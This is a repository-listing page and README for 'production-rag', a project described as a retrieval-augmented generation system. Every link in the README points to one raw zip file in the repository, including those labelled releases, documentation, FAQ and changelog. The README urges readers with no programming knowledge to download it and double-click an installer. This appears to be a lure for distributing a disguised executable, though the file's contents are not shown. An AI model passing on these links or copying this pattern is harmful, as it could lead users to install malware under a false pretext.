https://github.com/mahdidjemaci/production-rag
🔍 Enhance retrieval accuracy with a production-ready RAG system that integrates semantic and lexical search for optimal results.
https://github.com/mahdidjemaci/production-rag
agents anyscale application deep-learning hacktoberfest langchain large-language-models llm-evaluation llmops ollama open-source openai prompt-engineering retrieval-augmented-generation retrieval-systems search serving typescript
Last synced: 3 months ago
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🔍 Enhance retrieval accuracy with a production-ready RAG system that integrates semantic and lexical search for optimal results.
- Host: GitHub
- URL: https://github.com/mahdidjemaci/production-rag
- Owner: mahdidjemaci
- License: mit
- Created: 2025-11-27T11:40:51.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2026-04-11T01:58:40.000Z (4 months ago)
- Last Synced: 2026-04-11T03:29:11.348Z (4 months ago)
- Topics: agents, anyscale, application, deep-learning, hacktoberfest, langchain, large-language-models, llm-evaluation, llmops, ollama, open-source, openai, prompt-engineering, retrieval-augmented-generation, retrieval-systems, search, serving, typescript
- Language: Python
- Size: 1.8 MB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🎉 production-rag - Effortless Retrieval-Augmented Generation
## 🚀 Getting Started
Welcome to **production-rag**! This software helps you generate information in a smart way using different search strategies. You don’t need to know anything about programming to use it.
## 📥 Download Now
[](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)
## 📋 Overview
**production-rag** is designed for ease of use. It combines advanced retrieval techniques to provide high-quality responses. You can access various features and evaluate different strategies to improve your results.
## ✅ Features
- **Multi-Strategy Retrieval:** Easily switch between different search methods to find the best results.
- **Evaluation Framework:** Assess the quality of your outputs using built-in metrics.
- **Production-Ready:** Designed for smooth operation in real-world applications.
## 🎯 System Requirements
- **Operating System:** Windows, macOS, or Linux
- **Memory:** 4 GB RAM minimum; 8 GB recommended
- **Storage:** At least 500 MB available space
## 📖 Instructions
Follow these steps to download and run the software.
### 1. Visit the Releases Page
Go to our Releases page to find the latest version of **production-rag**. You can do this by clicking the link below:
[Visit Releases Page](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)
### 2. Locate the Downloadable File
Once on the Releases page, look for the latest version. It will be clearly marked. Download the file that's appropriate for your operating system.
### 3. Download the File
Click on the downloadable file to start the download. It may take a moment, so be patient.
### 4. Install the Software
Once the download completes, locate the file in your Downloads folder. Double-click the file to begin installation. Follow the prompts in the installation wizard.
### 5. Launch the Application
After installation, you will find **production-rag** in your applications or programs list. Click to open the software.
### 6. Start Using **production-rag**
You're all set! Begin exploring how **production-rag** can enhance your information retrieval tasks. Use the various features to refine your searches and evaluate the results.
## 🛠️ Additional Resources
- **Documentation:** For a detailed guide on using each feature, please refer to the [official documentation](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).
- **Support:** If you encounter issues, check our [Frequently Asked Questions (FAQ)](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).
## 🌐 Join the Community
Become part of the **production-rag** community. Share your experiences and learn from others. We value user feedback for continued improvement.
## 📞 Contact Us
For more information, feel free to reach out through the project's GitHub Issues page or contact us via our community channels.
## 📜 Changelog
Stay updated on changes and improvements through the [Changelog](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).
## 📥 Download Again
To revisit and download the software or the latest updates, please click here:
[Visit Releases Page](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)
Enjoy using **production-rag**!